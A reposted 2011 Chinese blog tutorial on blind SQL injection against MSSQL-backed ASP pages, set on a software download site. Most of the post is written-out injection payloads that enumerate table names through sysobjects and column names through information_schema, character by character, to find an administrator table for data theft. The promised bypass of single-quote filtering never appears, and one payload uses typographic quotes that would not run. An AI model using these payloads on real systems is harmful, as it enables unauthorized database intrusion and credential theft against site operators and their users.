文章详情

  • 游戏榜单
  • 软件榜单
关闭导航
热搜榜
热门下载
热门标签
php爱好者> php文档>在过滤单引号的条件下进行mssql盲注

在过滤单引号的条件下进行mssql盲注

时间:2011-04-21  来源:蓝孩

最近碰到一个情况,在无报错的情况下,对未知复杂表名进行注入,且过滤了单引号和常见小写的注入关键词。当时搞的时候很是头疼,于是在解决之后很想与大家分享一下,没啥高深的技术,大牛们见笑了。

为了方便看,我先忽略掉过滤了单引号这个条件,后面会详细说明如何突破。





1.mssql盲注

x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1



这样可以依次猜出第一张表名,假设这里猜出的结果是table1



然后



x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('table1')) And ascii(substring(name,1,1))>80)=1



这里猜出第二表,假设是table2



再然后



x.asp?id=1 And (select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('table1') And name not in ('table2')) And ascii(substring(name,1,1))>80)=1



这里猜出第三章表,假设是……



直到我们猜出了复杂的管理员的表,这里假设是admin_X1y4s



然后我们继续猜字段



这里说明一下,现在的关于盲注的文章基本上就是oldjun的那篇,那篇在叙述猜字段的时候是这样写的



x.asp?id=1 and (select count(*) from database.dbo.syscolumns where name in (select top 1 name from database_db.dbo.syscolumns where id=object_id('database.dbo.table')) and ascii(substring(name,1,1))>90)=1



但是我在实际测试的时候这条语句并不成功,然后改造了下:

x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin_X1y4s'),1,1))>80



经过上面这条,我们猜到了第一个字段,假设是id,那么再



x.asp?id=1 And Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>(‘id’) And table_name='admin_x1y4s'),1,1))>80



就可以猜出第二条字段名,依次…………



既然表名和字段名都出来了,猜具体数据的过程我在这里就不叙述了。




标签分类:

相关阅读 更多 +
排行榜 更多 +
2D反恐精英

2D反恐精英

飞行射击 下载
侏罗纪真实狩猎安卓版

侏罗纪真实狩猎安卓版

飞行射击 下载
直升机狙击手

直升机狙击手

飞行射击 下载